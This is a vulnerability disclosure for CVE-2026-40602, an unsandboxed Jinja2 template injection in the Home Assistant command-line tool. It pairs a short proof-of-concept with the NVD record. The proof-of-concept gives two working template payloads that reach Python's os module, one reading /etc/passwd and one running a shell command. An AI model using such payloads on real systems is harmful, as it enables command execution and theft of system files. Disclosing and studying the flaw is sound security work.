CVE-2026-40602

# PoC for CVE-2026-40602: Jinja2 SSTI in home-assistant-cli # The vulnerability allows accessing Python's internals due to lack of sandboxing. # Malicious Jinja2 template payload to read a file (e.g., /etc/passwd) payload_read = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read() }}" # Malicious payload to execute a command (e.g., id) payload_exec = "{{ config.__class__.__init__.__globals__['builtins'].__import__('os').popen('id').read() }}" # Note: The exact index of subclasses may vary depending on the Python version. # The key takeaway is that the unrestricted environment allows accessing 'os' and 'sys' modules.

{"cve": {"id": "CVE-2026-40602", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:51.827", "lastModified": "2026-04-27T19:43:26.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Home Assistant Command-line interface (hass-cli) is a command-line tool for Home Assistant. Up to 1.0.0 of home-assitant-cli an unrestricted environment was used to handle Jninja2 templates instead of a sandboxed one. The user-supplied input within Jinja2 templates was rendered locally with no restrictions. This gave users access to Python's internals and extended the scope of templating beyond the intended usage. This vulnerability is fixed in 1.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.3, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:home-assistant-ecosystem:home_assistant_command-line_interface:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.0", "matchCriteriaId": "07740846-6543-4428-9054-ED1EDD1B003E"}]}]}], "references": [{"url": "https://github.com/home-assistant-ecosystem/home-assistant-cli/pull/453", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/home-assistant-ecosystem/home-assistant-cli/security/advisories/GHSA-33qf-q99x-wpm8", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}